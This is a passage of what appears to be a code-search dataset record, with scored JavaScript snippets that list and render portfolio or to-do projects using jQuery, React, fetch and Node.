\"./img/portfolio/bookstore2.jpeg\",\n publishedAt: 1611848754000,\n labels: [\"book\", \"store\", \"rate book\"],\n },\n {\n id: \"pacman\",\n name: \"Pacman\",\n title: \"pacman game\",\n desc: \"the nostalgic mine sweeper game with lots of feature\",\n ProjectUrl: \"https://ytavpeer.github.io/Pacman/.\",\n ImageUrl: \"./img/portfolio/pacman2.jpeg\",\n publishedAt: 1611071182000,\n labels: [\"pacman\", \"nostalgic\", \"game\"],\n },\n {\n id: \"ballBoard\",\n name: \"ball board game\",\n title: \"ball game for fun\",\n desc: \"a nostalgic game you need to collect all the balls\",\n ProjectUrl: \"https://ytavpeer.github.io/balls-game/.\",\n ImageUrl: \"./img/portfolio/ballboard2.jpeg\",\n publishedAt: 1610898407000,\n labels: [\"picture\", \"guess\", \"game\"],\n },\n {\n id: \"TouchNums\",\n name: \"Touch Nums\",\n title: \"count the numbers game\",\n desc: \"a game for kids- need to complete the count of numbers\",\n ProjectUrl: \"https://ytavpeer.github.io/Touch-Nums-game/.\",\n ImageUrl: \"./img/portfolio/touchnums2.jpeg\",\n publishedAt: 1610639230000,\n labels: [\"numbers\", \"nostalgic\", \"game\"],\n },\n {\n id: \"todo\",\n name: \"to do list\",\n title: \"manage list of todos\",\n desc: \"a todo list for manage all our todos\",\n ProjectUrl: \"https://ytavpeer.github.io/Todo-App/.\",\n ImageUrl: \"./img/portfolio/todos2.jpeg\",\n publishedAt: 1611762451000,\n labels: [\"todo\", \"list\", \"manage\"],\n },\n ];\n return projects;\n}", "title": "" }, { "docid": "9d9b7ad37f3fdba324f6f79f593d32df", "score": "0.71324325", "text": "static showAllProjects() {\n if (allProjects == \"\") {\n return;\n }\n allProjects.forEach((Myproject) => {\n UI.addProject(Myproject);\n });\n }", "title": "" }, { "docid": "b3e2b0dcb83a433ff0f2b38d023337fb", "score": "0.709072", "text": "function ProjectList() {\n return (\n <div className=\"project-list\">\n {\n projects.map((project) => \n <ProjectCard \n key={project.title}\n title={project.title}\n image={project.image}\n author={project.author}\n url={project.url}\n github={project.github}\n figma={project.figma}\n description={project.description}\n />\n )\n }\n </div>\n );\n}", "title": "" }, { "docid": "74079db96fef0bca897c187fc8c9c3e8", "score": "0.7090306", "text": "function displayProjects() {\n\tfor (var key in projects.projects) {\n\t\t$(\"#projects\").append(HTMLprojectStart);\n\n\t\tvar formattedTitle = HTMLprojectTitle.replace(\"%data%\", projects.projects[key].title);\n\t\t$(\".project-entry:last\").append(formattedTitle);\n\n\t\tvar formattedDescription = HTMLprojectDescription.replace(\"%data%\", projects.projects[key].description);\n\t\t$(\".project-entry:last\").append(formattedDescription);\n\n\t\tif (projects.projects[key].images.length > 0) {\n\t\t\tfor (var image in projects.projects[key].images) {\n\t\t\t\tvar formattedImage = HTMLprojectImage.replace(\"%data%\", projects.projects[key].images[image]);\n\t\t\t\t$(\".project-entry:last\").append(formattedImage);\n\t\t\t}\n\t\t}\n\t}\n}", "title": "" }, { "docid": "9e6b289ccf745ce7a5e0a7c56431ced1", "score": "0.70033777", "text": "function displayProjects(){\n\t$(\"#projects\").append(HTMLprojectCap);\n\tfor(entry in projects.project){\n\t$(\".project-guide\").append(HTMLprojectStart);\n\n\tvar formattedPTitle = HTMLprojectTitle.replace(\"%data%\", projects.project[entry].title);\n\t$(\".project-entry:last\").append(formattedPTitle);\n\n\tvar formattedPDates = HTMLprojectDates.replace(\"%data%\", projects.project[entry].dates);\n\t$(\".project-entry:last\").append(formattedPDates);\n\n\tvar formattedPDescription = HTMLprojectDescription.replace('%data%', projects.project[entry].description);\n\t$(\".project-entry:last\").append(formattedPDescription);\n\n\tvar formattedPUrl = HTMLprojectImage.replace(\"%data%\", projects.project[entry].images);\n\tvar formattedPUrl2 = formattedPUrl.replace(\"%atad%\", 'class=\"responsive-image\"');\n\t$(\".project-entry:last\").append(formattedPUrl2);\n\n}}", "title": "" }, { "docid": "5e0d31087cd52ca17a995cbce90c69e6", "score": "0.69048804", "text": "projects() {\r\n\t\treturn API.get(\"pm\", \"/list-projects\");\r\n\t}", "title": "" }, { "docid": "c579b41edc4c580e4ab7e632ba8d40af", "score": "0.68977964", "text": "function listProjects () {\n\t$.ajax ({\n\t\turl: '/api/results',\n\t\ttype: 'get',\n\t\t//data: null,\n\t\tcontentType: 'application/json',\n\t\tcomplete: null\n\t}).done (function (results) {\n\t\tfor ( var i =0 ; i < results.length ; i++ )\n\t\t\tcreateProjectVignette (results [i].key, results [i]) ;\n\t}) ;\n}", "title": "" }, { "docid": "9083b5e15df2ab51cbd5dc818cae486d", "score": "0.6864798", "text": "function loadGUI_Projects(){\n PN = returnProjectNames();\n var contentStr=\"\";\n for (i=0;i<PN.length; i++){\n contentStr += '<li id=\"'+PN[i].id+'\" class=\"swProjectRow\" onclick=\"swNavSelectProject(this)\">'+PN[i].title+'</li>';\n }\n $(\"\")\n $(\"#swProjects\").html(contentStr);\n}", "title": "" }, { "docid": "45469355240d17efe03343c3cc078241", "score": "0.68515587", "text": "function displayProjects() {\r\n for (project in projects.projects) {\r\n $(\"#projects\").append(HTMLprojectStart);\r\n\r\n const formattedProjectTitle = HTMLprojectTitle.replace(\"%data%\", projects.projects[project].title);\r\n $(\".project-entry:last\").append(formattedProjectTitle);\r\n\r\n\r\n const formattedProjectDates = HTMLprojectDates.replace(\"%data%\", projects.projects[project].dates);\r\n $(\".project-entry:last\").append(formattedProjectDates);\r\n\r\n const formattedProjectDescription = HTMLprojectDescription.replace(\"%data%\", projects.projects[project].description);\r\n $(\".project-entry:last\").append(formattedProjectDescription);\r\n\r\n if (projects.projects[project].images.length > 0) {\r\n for (image in projects.projects[project].images) {\r\n const formattedProjectImage = HTMLprojectImage.replace(\"%data%\", projects.projects[project].images);\r\n $(\".project-entry:last\").append(formattedProjectImage);\r\n }\r\n }\r\n }\r\n\r\n }", "title": "" }, { "docid": "2fb0e1f37992eae8196e07f06e2bbb19", "score": "0.67661524", "text": "function getProjects() {\n fetch('http://localhost/web3api2020-master/src/model/projects.php', {\n method: 'GET'\n })\n .then(response => response.json())\n .then(projects => {\n fetchedProjects = projects;\n document.querySelector('#projectList').innerHTML = '';\n\n projects.forEach(function(project) {\n document.querySelector('#projectList').innerHTML += `\n <tr>\n <td>${project.startdate} - ${project.enddate}</td>\n <td>${project.project}</td>\n <td>${project.title}</td>\n <td>${project.description}</td>\n <td><button onClick=\"openUpdateProjectModal(${project.id})\">Update</button></td>\n <td><button onClick=\"openDeleteProjectModal(${project.id})\">Delete</button></td>\n </tr>\n `;\n });\n });\n}", "title": "" }, { "docid": "b2bc6ee3fcb554e4e393a942d97747a7", "score": "0.674137", "text": "function Portfolio() {\n const [projectList, setProject] = useState([\"Pet-Hub\", \"Team-Profile Generator\", \"Readme-Generator\", \"Day Planner\", \"Note-Taker\"]);\n return (\n <div className=\"container\">\n <section id=\"work\" className=\"page-section\">\n <h1>Portfolio </h1>\n <div className=\"workContainer\">\n <ul className=\"work-item\">\n {/* looping through all the projectList\n {projectList.map((project, index) => {\n // console.log(project,)\n return <li key={index} className={'item' + index}><a href=\"\">{project}</a></li>\n })} */}\n <li className='item0'><a href=\"https://github.com/mrlowther/pet-hub\">{projectList[0]}</a></li>\n <li className='item1'><a href=\"https://github.com/darrenthamtoro/team-profile\">{projectList[1]}</a></li>\n <li className='item2'><a href=\"https://github.com/darrenthamtoro/Readme-generator\">{projectList[2]}</a></li>\n <li className='item3'><a href=\"https://darrenthamtoro.github.io/work-calendar/\">{projectList[3]}</a></li>\n <li className='item4'><a href=\"https://github.com/darrenthamtoro/note-taker\">{projectList[4]}</a></li>\n </ul>\n </div>\n </section>\n </div>\n )\n}", "title": "" }, { "docid": "48b838e538e6246ef5baf14e4208e505", "score": "0.6684199", "text": "function getProjList () { \n fs.readdir(__dirname + \"/lib/projectStructure/\", function (err,list) {\n if (err) {\n console.error(err);\n return;\n }\n console.log(\"Avilable Project Structures Are:-\");\n list.forEach(function (item) {\n console.log(item.slice(0,item.lastIndexOf('.')));\n });\n });\n}", "title": "" }, { "docid": "c388e99c84d6508a738994f6d6c1d160", "score": "0.66689306", "text": "getProjects() {\n return this.projects\n }", "title": "" }, { "docid": "faacc15227607dcb5472d6f8fda46ad6", "score": "0.6654688", "text": "function showProjects() {\n //show the projects\n if(getComputedStyle(downArrow).getPropertyValue(\"display\") == \"none\"){\n upArrow.style.display = \"none\";\n downArrow.style.display = \"initial\";\n projList.style.display = \"initial\";\n console.log(\"arrow previously up so down area triggered\");\n \n projArray.forEach(element => {\n let listItem = document.createElement(\"li\"); \n listItem.classList.add(\"list-items\");\n listItem.textContent = element.title;\n projList.appendChild(listItem);\n })\n document.querySelectorAll(\".list-items\").forEach(element => {\n element.addEventListener(\"click\", function() {\n let someThis = this;\n projects.popDomWithProjectTasks(someThis);\n })\n })\n projArray.forEach(element => {\n element.selected = false;\n })\n //hide the projects\n } else {\n console.log(\"trigger me timbers\")\n upArrow.style.display = \"initial\";\n downArrow.style.display = \"none\";\n projList.style.display = \"none\";\n let listItems = document.querySelectorAll(\".list-items\");\n console.log(listItems);\n\n listItems.forEach(element => {\n element.remove();\n console.log(\"for each baby\");\n });\n }\n }", "title": "" }, { "docid": "de7e05c02aedaedc3032d64ff6570467", "score": "0.66530883", "text": "function updateProjectList() {\r\n updateProjectDiv()\r\n}", "title": "" }, { "docid": "d607e84457e81bbbfb4d68c5bee9bf66", "score": "0.660134", "text": "function renderProjectItems(projects) {\n // threshold function\n let threshold = i => i < projects.length / 2;\n // left column\n document.getElementById(\"left-column\").innerHTML = \n projects.map((project, i) => {\n if (threshold(i)) {\n return renderProjectSingleItem(project);\n }\n }).join(\"\");\n // right column\n document.getElementById(\"right-column\").innerHTML = \n projects.map((project, i) => {\n if (! threshold(i)) {\n return renderProjectSingleItem(project);\n }\n }).join(\"\");\n}", "title": "" }, { "docid": "db48b5576b37361c79cbb5d7c808d2c8", "score": "0.65992266", "text": "function app(projects) {\n for(let i=0; i<projects.length; i++){\n projectArray.push(projects[i]);\n $(\"#projectContentContainer\").append(buildProjectCard(projects[i]))\n }\n projectArray = projects.slice();\n}", "title": "" }, { "docid": "0ce5f9d2a1b6daea94040e7888bf0b96", "score": "0.65987146", "text": "function pl(projects, withNumbers) {\n var list = ''\n projects.forEach(function(p, index) {\n var text = ''\n if (withNumbers) text += (index + 1) + '. ' + p.name\n else text = p.name\n list += nl(bd(text))\n })\n return list\n}", "title": "" }, { "docid": "c3f5a0d75b618a03ad280199311ac963", "score": "0.6590847", "text": "function loadProjects() {\n\t// List of identifiers to ignore (i.e. Not show)\n\tignore_these = [\"m83\", \"impossible_line\", \"leaf\", \"cancer_gene_runner\", \"galaxy_zoo_starburst\", \"galaxy_zoo_quiz\"]\n\n\t// Get .ist of projects from API annd create items for display\n\t$.getJSON( \"https://api.zooniverse.org/projects/list\", function( data ) {\n\t\tvar projects = [];\n\t\t$.each(data, function(i,p) {\n\t\t // As long as it's not in the ignore list, add it to the list using itemHTML function\n\t\t if ($.inArray(p[\"name\"], ignore_these) == -1) {\n\t\t \titemHTML(p);\n\t\t }\n\t\t});\n\n\t});\n}", "title": "" }, { "docid": "226556a9eeb8e5caecbb98eafdaaafdc", "score": "0.6575613", "text": "function displayProjects() {\n document.querySelector('.all_project_items_wrapper').remove(); //delete all projects from dom\n const allprojectswrapper = document.createElement('div'); //make new wrapper for all projects\n allprojectswrapper.classList.add('all_project_items_wrapper');\n\n\n //display all projects in the array\n for (let i = 0; i < data.projects.length; i++) {\n const projectitemwrapper = document.createElement('div'); //make wrapper\n projectitemwrapper.classList.add('projects_item_wrapper'); //add class for css\n projectitemwrapper.classList.add('parent_wrapper');\n projectitemwrapper.setAttribute('data-id', data.projects[i].id); //set id to connect to projects array index\n\n\n const projects_item_label = document.createElement('p');\n projects_item_label.classList.add('projects_item_label');\n projects_item_label.textContent = data.projects[i]._name;\n projects_item_label.addEventListener('click', (e) => {\n removeTasks();\n displayTodoProjectName(e.target.closest('.parent_wrapper').getAttribute('data-id'));\n displayAllTask(e.target.closest('.parent_wrapper').getAttribute('data-id'));\n }); //add event to view tasks of this project\n\n const projects_item_delete_button = document.createElement('div');\n projects_item_delete_button.classList.add('projects_item_delete_button');\n projects_item_delete_button.classList.add('btn');\n projects_item_delete_button.textContent = '-';\n projects_item_delete_button.setAttribute('data-id', data.projects[i].id);\n projects_item_delete_button.addEventListener('click', (e) => {\n\n const projectid = e.target.closest('.parent_wrapper').getAttribute('data-id');\n const containerid = document.getElementById('todo_container').getAttribute('data-id');\n\n\n deleteProject(projectid);\n displayProjects();\n // e.target.closest('.parent_wrapper').remove();\n if (containerid == 'all') {\n removeTasks();\n displayDefault();\n }\n else if (projectid === containerid) {\n removeTasks();\n displayDefault();\n } else if (Number(projectid) < Number(containerid)) {\n let tempid = Number(containerid) - 1;\n const newcontainerid = tempid.toString();\n removeTasks();\n displayTodoProjectName(newcontainerid);\n displayAllTask(newcontainerid);\n }\n\n methods.updateStorage();\n });\n\n //combine all to wrapper\n projectitemwrapper.append(projects_item_label);\n projectitemwrapper.append(projects_item_delete_button);\n\n //put wrapper or project item into DOM\n allprojectswrapper.append(projectitemwrapper);\n\n }\n document.getElementById('projects_container').append(allprojectswrapper); //put all projects wrapper into DOM\n }", "title": "" }, { "docid": "5d3ed03996662a792df55e1d860f4607", "score": "0.6568082", "text": "function buildPortfolioProject(projectData){\n var projectHTML = '<li>';\n projectHTML += '<h3 class=\"projecttitle\">' + projectData.projectName + '</h3>';\n projectHTML += '<p class=\"caption\">' + projectData.statement + '</p>';\n projectData.imgList.forEach(function(imgData){\n projectHTML += buildImg(imgData);\n });\n projectHTML += '</li>';\n return projectHTML;\n}", "title": "" }, { "docid": "069e01a9d8fb907852fb01789a460b07", "score": "0.65660036", "text": "function makeProjectList(projects){\n\t\t\tvar project_details = {}; //array to store list of projects & info\n\t\t\t_.each(projects, function(project){\n\t\t\t\t//Set project id/name/code to vars\n\t\t\t\tvar project_id = project.project.id; \n\t\t\t\tvar project_name = project.project.name;\n\t\t\t\tvar project_code = project.project.code;\n\t\t\t\tvar client_id = project.project.client_id;\n\t\t\t\t\n\t\t\t\t//Push entries to array\n\t\t\t\tif(!project_details[project_id]){\n\t\t\t\t\tproject_details[project_id] = { project_id, project_name, project_code, client_id };\n\t\t\t\t}\t\t\t\t\t\t\n\t\t\t});\n\t\t\treturn project_details; // {id: 1 { name: name, code: code}, id:2 {...} }\n\t\t}", "title": "" }, { "docid": "a03c3af26e07bf7d9d81e75c8202f93f", "score": "0.65054214", "text": "function Projectlinks() {\n var elements = new Array();\n var spans = document.getElementsByTagName('span');\n \n // filter for projectlinks\n for (var i=0, j=0; i<spans.length; i++) {\n if (spans[i].className == 'interProject') {\n elements[j] = spans[i].getElementsByTagName('a')[0];\n j++;\n }\n }\n \n \n if (j) {\n // create navbox\n var plheader = document.createElement('h5');\n plheader.appendChild(document.createTextNode('In other projects'));\n var plbox = document.createElement('div');\n plbox.setAttribute('class','pBody');\n plbox.setAttribute('style','margin-top:0.7em;');\n var pllist = document.createElement('ul');\n\n // append\n for (var i=0; i<elements.length; i++) {\n var plitem = document.createElement('li');\n plitem.appendChild(elements[i]);\n pllist.appendChild(plitem);\n }\n plbox.appendChild(plheader);\n plbox.appendChild(pllist);\n document.getElementById(\"p-tb\").appendChild(plbox);\n }\n}", "title": "" }, { "docid": "15a26dc13ac74ed1931d3662e1336b70", "score": "0.6497315", "text": "async reloadProjects() {\n document.getElementById(\"projectList\").innerHTML = '<p>PROJECTS</p>';\n const projects = await Api.getProjects();\n projects.forEach( (p) => {\n this.createProjectHTML(p);\n this.filters.setProjectListener(p);\n });\n }", "title": "" }, { "docid": "045677b718791dd4248c7fac10aa8d2e", "score": "0.64804447", "text": "getProjectsParticipated()\n {\n\n }", "title": "" }, { "docid": "207f5fb0bbf18df87dc101914c10ff73", "score": "0.646007", "text": "function addProjects() {\n\tif (localStorage.projects) {\n\t\tvar projects = JSON.parse(localStorage.projects);\n\n\t\tfor (var i = 0; i < projects.length; i++) {\n\t\t\tvar html = `\n\t\t\t <a href=\"project_show.html\">\n\t\t\t\t\t<div class=\"project-item material-border mb-2 clickable\">\n\t\t\t\t\t\t<div class=\"project-item-image-container mr-2\">\n\t\t\t\t\t\t\t<img src=\"assets/images/placeholder.png\" alt=\"Project logo\" class=\"project-logo\">\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t<div class=\"project-description\">\n\t\t\t\t\t\t\t<h3 class=\"heading-sm mt-1 mb-0\">${projects[i].name}</h3>\n\t\t\t\t\t\t\t<p>${projects[i].description}</p>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t</div>\n\t\t\t\t</a>\n\t\t\t`;\n\t\t\tdocument.getElementById('projects').innerHTML += html;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "4e2b99eeebf782c7281effcddc3c12a8", "score": "0.6428831", "text": "function createCardsProjects(data) {\n\tvar elements = [];\n data.projects.forEach(function(project) {\n \telements.push(\n MS.genericElements(\n \"Projeto \".concat(project.project_number), \n project.name, \n [MS.genericButtonPostback(payloads.PBK_PROJECT_SELECTED, project.id)], \n urls.URL_PROJECTS_IMG\n\t )\n\t );\n });\n return elements;\n}", "title": "" }, { "docid": "d2acda4704844afab083cc2b21fdad72", "score": "0.639848", "text": "render () {\n if (this.state.loading) {\n return 'Loading ...'\n }\n\n /*\n we are rendering a list of elements using Array.map() to create a list element for every project fetched using the GitHub API.\n Note that every list element receives a value for the key prop. \n The key prop is a special prop that is recommended whenever you are rendering an array of elements. \n Every element should provide a unique key. This prop helps the virtual DOM optimize every rendering pass\n */\n return html`<ul>\n ${this.state.projects.map(project => html`\n <li key=${project.id}>\n <a href=${project.html_url}>${project.full_name}</a>:\n ${' '}${project.description}\n </li>\n `)}\n </ul>`\n }", "title": "" }, { "docid": "e973a0a10d83406f2f051b467ac0c640", "score": "0.6384973", "text": "function Projects() {\r\n return (\r\n <div class = 'project-color' id = 'Projects'>\r\n <h1>\r\n Featured Projects\r\n </h1>\r\n <div class = 'project-container'>\r\n <div class = 'project-item'>\r\n <h3>Restaurant Reservations</h3>\r\n <img src = {restaurant} alt = 'Restaurant'></img>\r\n <p>A detailed system allowing managers to easily and quickly create, seat, and finish reservations</p>\r\n <a href = 'https://github.com/Colten-Developer/Thinkful_Final_Project'>GitHub Project</a>\r\n <br></br>\r\n <a href = 'https://thinkful-final-front-end.vercel.app/dashboard?date=2021-07-20'>Website for project</a>\r\n </div>\r\n <div class = 'project-item'>\r\n <h3>Decoder Ring</h3>\r\n <img src = {magicRing} alt = 'a magical ring'></img>\r\n <p>A cypher encryption and decryption algorithm </p>\r\n <a href = 'https://github.com/Colten-Developer/decoderRingProject'>GitHub Project</a>\r\n <br></br>\r\n <a href = 'https://colten-developer.github.io/decoderRingProject/'>Website for project</a>\r\n </div>\r\n <div class = 'project-item'>\r\n <h3>Pomodoro Timer</h3>\r\n <img src = {clock} alt = 'a clock'></img>\r\n <p>A timer used to maximize working efficiency</p>\r\n <a href = 'https://github.com/Colten-Developer/PomodoroProject'>GitHub Project</a>\r\n </div>\r\n </div>\r\n </div>\r\n );\r\n}", "title": "" }, { "docid": "12fd565fda140dfe3fe7986f72eccc2d", "score": "0.636102", "text": "function fetchProjects() {\n\n\tfetchData(url + 'repos/CoInvestor/webtest-2019/projects').then(response => {\n\t\t\n\t\t//Get the projects id and the name of the project board\n\t\t//Send results to fetchColumns function\n\t\tresponse.forEach(element => {\n\t\t\tfetchColumns(element.id, element.name);\n\t\t});\n\n\t});\n\n}", "title": "" }, { "docid": "5d1f7012ffdef1f870f403dcce03d999", "score": "0.63449043", "text": "function buildProjectTree(req,res){\n\t\n //req.session.projects = [];\n\t\n\tconsole.log(\"Render Page with \" + projectNames.length+ \" Projects \");\n\t\n\tfor(var i = 0 ; i < projectNames.length ; i++){ \n \t\t req.session.projects.push(projectNames[i]);\t\t \n\t}\n\t\n\t\n}", "title": "" }, { "docid": "93a40e65dae3001203ebc430e78e51d3", "score": "0.63304543", "text": "function getProjects() {\n return db('projects');\n}", "title": "" }, { "docid": "c31b8cd724e3857a69dd63a99f21c19c", "score": "0.632646", "text": "function load_projects() {\n var xmlhttp = new XMLHttpRequest();\n \n xmlhttp.onreadystatechange = function() {\n if (this.readyState == 4 && this.status == 200) {\n var projects = JSON.parse(this.responseText);\n var count = 0;\n var left = false;\n\n for ([key, value] of Object.entries(projects)) {\n if (count < 4) {\n // Fill highlights\n if (left) {\n feature_project(value, 'left');\n } else {\n feature_project(value, 'right');\n }\n left = !left;\n count += 1;\n } else {\n project_grid(value);\n }\n }\n }\n };\n \n xmlhttp.open(\"GET\", \"/v6/projects/project_info.php?get_list=1\", true);\n xmlhttp.send();\n }", "title": "" }, { "docid": "9ab5f382d9fc24ced807f9ab71d0b158", "score": "0.6314749", "text": "function renderProjectNav(model) {\n // remove all children\n let projectsArray = model.get('projectsData');\n\n while (projectNavDOM.children.length > 0) {\n projectNavDOM.removeChild(projectNavDOM.children[0]);\n }\n if (projectsArray.length) {\n projectsArray.forEach(function (projectObj) {\n projectNavDOM.appendChild(createProjectPill(projectObj));\n });\n }\n }", "title": "" }, { "docid": "880f2233313ffe9d7f4d80973777af54", "score": "0.62974405", "text": "function getUserProjects() {\n $scope.projects = [];\n $scope.totalProject = 0;\n _.each($scope.currentUser.projects, function(project) {\n if (project.owner == $scope.currentUser._id && project.status !== \"archive\") {\n $scope.totalProject += 1;\n $scope.projects.push(project);\n }\n });\n }", "title": "" }, { "docid": "003ab85c5931d4d17ce4b7ab059ee815", "score": "0.62958723", "text": "function project() {\n const classes = style()\n return (\n <div id=\"Project\">\n <Typography variant=\"h6\" className={classes.typ}>\n This My Project\n </Typography>\n <Grid container spacing={2} className={classes.grd}>\n {\n myProject.map((data, index) => (\n <Grid item xs={12} sm={12} md={6} lg={4} key={index} >\n <Paper>\n <Typography variant=\"h6\" className={classes.typGrid}><b>{data.title}</b></Typography>\n <div className={classes.containerImg}>\n <img src={data.image} className={classes.gmbr}/>\n </div>\n </Paper>\n </Grid>\n ))\n }\n </Grid>\n </div>\n )\n}", "title": "" }, { "docid": "bd7bcee797987b76325970d390ffa891", "score": "0.629039", "text": "function ls() {\n $(\"#prjItemList\").empty();\n return RemoteProject.list().then(function (d) {\n projectsInfo=d;\n d.findProject=function (name) {\n var res;\n d.forEach(function(i) {\n if (i.name===name) res=i;\n });\n return res;\n };\n d.sort(function (a,b) { return b.lastUpdate-a.lastUpdate;});\n d.forEach(item);\n }).fail(function(e){\n console.log(\"list failed\",e);\n });\n /*\n var d=[];\n curDir.each(function (f) {\n if (!f.isDir()) return;\n var l=f.lastUpdate();\n var r=f.rel(\"options.json\");\n if (r.exists()) {\n l=r.lastUpdate();\n }\n d.push([f,l]);\n });\n d=d.sort(function (a,b) {\n return b[1]-a[1];\n });\n */\n function item(e) {\n e.name=e.name.replace(/\\/$/,\"\");\n var f=projects.rel(e.name+\"/\");\n e.dir=f;\n var name=e.name;\n\n if (!f.isDir()) return;\n //if (!f.rel(\"options.json\").exists()) return;\n var u=UI(\"div\", {\"class\":\"project\"},\n [\"a\", {href:\"?r=jsl_edit&dir=\"+f.path()},\n [\"img\",{$var:\"t\",src:FS.expandPath(\"${sampleImg}/\"+(e.language||\"js\")+\".png\")}],\n [\"div\", name]],\n [\"div\",\n [\"a\",{on:{click:ren(name)}},\"名前変更\"], [\"span\",\" \"],\n [\"a\",{on:{click:del(name)}},\"削除\"]]\n );\n u.appendTo(\"#prjItemList\");\n }\n }", "title": "" }, { "docid": "c467014bc3c0ce6f23ce30150262dae4", "score": "0.6272006", "text": "function showProjectsList(req, res, next) {\n var userId = req.session.user_id;\n var query = Project\n .find({$or: [{'owner': userId}, {'members.user': userId}]})\n .populate('tasks')\n .sort({lastMod: -1});\n query.exec(function (err, result) {\n if (err) {\n console.log(\"Error when getting list of projects: %s\", err);\n return next(err);\n }\n //console.log(result);\n var tempProjectList = [];\n result.forEach(function (project) {\n\n var completedTasks = 0;\n var timeSpent = 0;\n project.tasks.forEach(function (task) {\n timeSpent += task.timeSpent || 0;\n if (task.isCompleted) completedTasks++;\n });\n\n tempProjectList.push(\n {\n _id: project._id,\n title: project.title,\n tasks: project.tasks.length,\n completed: completedTasks,\n timeSpent: getTimeSpent(timeSpent),\n members: project.members.length,\n lastMod: (project.lastMod) ? project.lastMod.shortDate()\n : project.created.shortDate()\n }\n );\n });\n //console.log(\"___________________________\\nResult project list for render: \\n___________________________\");\n //console.log(tempProjectList);\n res.append('Cache-control', 'no-store').render('projects.jade', {\n user: req.currentUser,\n projects: tempProjectList\n });\n });\n}", "title": "" }, { "docid": "17f9e61a2bc319ad7fdcc41181138494", "score": "0.62484115", "text": "function listProjects() {\n ctrl.showError = false;\n var content_url = ctrl.url + '?';\n var filterText = ctrl.filterText;\n if(filterText != undefined){\n content_url = content_url + 'name=' +\n filterText;\n }\n else if(keepState.filter.projectFilter){\n for (var filter in keepState.filter.projectFilter){\n content_url = content_url + filter + '=' + keepState.filter.projectFilter[filter]\n ctrl.filterText = keepState.filter.projectFilter[filter]\n }\n }\n ctrl.resultsRequest =\n $http.get(content_url).success(function (data) {\n ctrl.data = data;\n if(ctrl.filterText != undefined){\n keepState.filter.projectFilter = {\n 'name': ctrl.filterText\n }\n }\n }).catch(function (data) {\n ctrl.data = null;\n ctrl.error = data.statusText;\n ctrl.toastError();\n });\n }", "title": "" }, { "docid": "8eadc8b0eeb5b2d3a59b418999e84850", "score": "0.6234709", "text": "function createProjectPill(projectObj) {\n let listItem = document.createElement('a');\n listItem.classList = \"list-item mdc-list-item\";\n listItem.textContent = projectObj.title;\n listItem.dataset.id = projectObj.id;\n listItem.dataset.eventFor = \"projects-data\"; //for events use\n listItem.dataset.eventType = \"view-project\";\n if (projectObj.isCurrentlyViewed) {\n listItem.classList.add(\"mdc-list-item--activated\");\n }\n\n listItem.addEventListener('click', controller);\n\n listItem.appendChild(createDeleteBtn(projectObj.id, \"project\"));\n return listItem;\n }", "title": "" }, { "docid": "e71b907b223fe19a4ff0c95c77228271", "score": "0.6227359", "text": "function renderCards() {\n let projectContainer = document.querySelector(\".project-container\");\n for (project of projects) {\n let card = createCard(project);\n projectContainer.innerHTML += card;\n }\n }", "title": "" }, { "docid": "5b31736143ba230e20e6eca06316af12", "score": "0.6225745", "text": "function refreshList(){\n\t\tvar view = this;\n\t\t\n\t\t// from the projectDao, list all the project, and when done\n\t\t// update the view.$listContainer with the new HTML elements\n\t\tmain.projectDao.list().done(function(projectList){\n\t\t\tview.$listContainer.html(render(\"tmpl-ProjectListNav-list\",{projects:projectList}));\n\t\t});\t\t\n\t}", "title": "" }, { "docid": "2d1da623b3237209a9aedc8de62b835d", "score": "0.62252724", "text": "getProjects() {\n let headers = new _angular_common_http__WEBPACK_IMPORTED_MODULE_1__[\"HttpHeaders\"]().set('Content-Type', 'application/json');\n return this._http.get(this.url + 'projects', { headers: headers });\n }", "title": "" }, { "docid": "5cddcf31b4bf0e02cdca1a9483607ef4", "score": "0.62140507", "text": "getProjectList(obj, _type) {\n if (_type === \"feature\") {\n this.getProjectsForFeature(obj).then((projects) => {\n this.showProjectListDialog(\n projects,\n \"Projects list\",\n \"The feature is used in the following projects:\"\n );\n });\n } else {\n this.getProjectsForPlanningGrid(obj.feature_class_name).then(\n (projects) => {\n this.showProjectListDialog(\n projects,\n \"Projects list\",\n \"The feature is used in the following projects:\"\n );\n }\n );\n }\n }", "title": "" }, { "docid": "527c84206c28639fe7144764fa912a62", "score": "0.6210265", "text": "function printProjectData() {\n \n }", "title": "" }, { "docid": "1e3496c48c0f75f112d18d1f6ed1f21a", "score": "0.6209897", "text": "function getProjects(prjid) {\n // console.log(prjid)\n var pagina = 'WorkInputContent/listProjects';\n var par = `[{\"pjt_id\":\"${prjid}\"}]`;\n var tipo = 'json';\n var selector = putProjects;\n fillField(pagina, par, tipo, selector);\n}", "title": "" }, { "docid": "cade40972ccfca4c1d661c5b48f98565", "score": "0.6199122", "text": "function DisplayProj(data){\n\n // //just to check we got the right data\n console.log(data);\n\n // All to be placed into element with id proj-container\n var container = $(\"#projs-container\");\n\n // Displays an error message if the data passed isn't good\n if (!Array.isArray(data))\n {\n console.log(data);\n container.append($(CreateEl(\"h2\")).html(\"Something went wrong! get request received bad data\"));\n \n }\n\n // Constructs all the html project elements\n data.forEach(proj_dets => {\n // something messed up and we didn't get a dictionary\n if (!(typeof proj_dets === 'object') || proj_dets == null)\n return;\n\n // create a container for the given project\n var spec_proj = $(CreateEl(\"div\", [])).addClass(\"cs-proj\");\n\n // create the container for title and project type\n var titlecont = $(CreateEl(\"div\")).addClass(\"proj-disp\");\n // create the title h2\n if ('title' in proj_dets)\n {\n elem = $(CreateEl(\"h2\")).html(proj_dets['title']);\n titlecont.append(elem);\n }\n // create projtype h3\n if ('type' in proj_dets)\n {\n elem = $(CreateEl(\"h3\")).html(proj_dets['type']);\n titlecont.append(elem);\n \n // append to project div\n titlecont.append(CreateEl(\"hr\"));\n }\n // append to project div\n spec_proj.append(titlecont);\n\n \n\n // create description p\n if ('desc' in proj_dets)\n {\n elem = $(CreateEl(\"p\")).html(proj_dets['desc']).addClass(\"desc\");\n\n // append description to project div\n spec_proj.append(elem);\n }\n\n\n // create languages ul\n if ('languages' in proj_dets)\n {\n langs = $(CreateEl(\"div\", [])).addClass(\"prog-langs\");\n langs.append($(CreateEl(\"h4\")).html(\"Languages:\"));\n\n // create unordered list\n ul = $(CreateEl(\"ul\"));\n\n // split languages elem by commas\n // create a li for each language and append to ul\n console.log(proj_dets['languages'].split(\", \"));\n proj_dets['languages'].split(\", \").forEach(element => {\n elem = $(CreateEl(\"li\")).html(element);\n\n //append to ul\n 